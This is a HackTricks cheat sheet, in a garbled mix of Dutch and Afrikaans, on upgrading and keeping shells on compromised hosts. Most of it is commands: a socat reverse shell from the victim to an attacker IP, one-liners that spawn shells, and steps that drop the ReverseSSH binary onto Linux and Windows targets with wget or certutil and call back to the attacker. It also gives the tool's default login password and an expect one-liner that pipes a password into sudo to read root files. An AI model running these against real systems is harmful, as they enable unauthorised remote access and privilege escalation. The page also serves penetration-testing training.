# Volledige TTYs {% hint style="success" %} Leer en oefen AWS-hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer en oefen GCP-hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)! * **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
{% endhint %} ## Volledige TTY Merk op dat die skaal wat jy instel in die `SHELL` veranderlike **moet** wees **gelys binne** _**/etc/shells**_ of `Die waarde vir die SHELL-veranderlike is nie gevind in die /etc/shells-lêer nie. Hierdie voorval is gerapporteer`. Merk ook op dat die volgende snippers slegs werk in bash. As jy in 'n zsh is, skakel oor na 'n bash voordat jy die skaal bekom deur `bash` te hardloop. #### Python {% code overflow="wrap" %} ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` {% endcode %} {% hint style="info" %} Jy kan die **aantal** van **rye** en **kolomme** kry deur **`stty -a`** uit te voer. {% endhint %} #### skrips ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` {% endcode %} #### socat ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` ### **Spawn skulpe** * `python -c 'import pty; pty.spawn("/bin/sh")'` * `echo os.system('/bin/bash')` * `/bin/sh -i` * `script -qc /bin/bash /dev/null` * `perl -e 'exec "/bin/sh";'` * perl: `exec "/bin/sh";` * ruby: `exec "/bin/sh"` * lua: `os.execute('/bin/sh')` * IRB: `exec "/bin/sh"` * vi: `:!bash` * vi: `:set shell=/bin/bash:shell` * nmap: `!sh` ## ReverseSSH 'n Gerieflike manier vir **interaktiewe skel-toegang**, sowel as **lêeroordragte** en **poort deurstuur**, is om die staties gekoppelde ssh-bediener [ReverseSSH](https://github.com/Fahrj/reverse-ssh) op die teiken te plaas. Hieronder is 'n voorbeeld vir `x86` met upx-saamgedrukte binêre lêers. Vir ander binêre lêers, kyk na [vrystellingsbladsy](https://github.com/Fahrj/reverse-ssh/releases/latest/). 1. Berei plaaslik voor om die ssh-poort deurstuur versoek te vang: {% code overflow="wrap" %} ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` {% endcode %} * (2a) Linux teiken: {% code overflow="wrap" %} ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` {% endcode %} * (2b) Windows 10 teiken (vir vroeëre weergawes, kyk na [projek leesmy](https://github.com/Fahrj/reverse-ssh#features)): {% code overflow="wrap" %} ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` * Indien die ReverseSSH-poort deurstuurversoek suksesvol was, behoort jy nou in te kan teken met die verstek wagwoord `letmeinbrudipls` in die konteks van die gebruiker wat `reverse-ssh(.exe)` hardloop: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` ## Geen TTY Indien jy om enige rede nie 'n volledige TTY kan verkry nie, kan jy steeds met programme interaksie hê wat gebruikersinsette verwag. In die volgende voorbeeld word die wagwoord aan `sudo` deurgegee om 'n lêer te lees: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` {% hint style="success" %} Leer & oefen AWS-hacking: [**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP-hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
{% endhint %}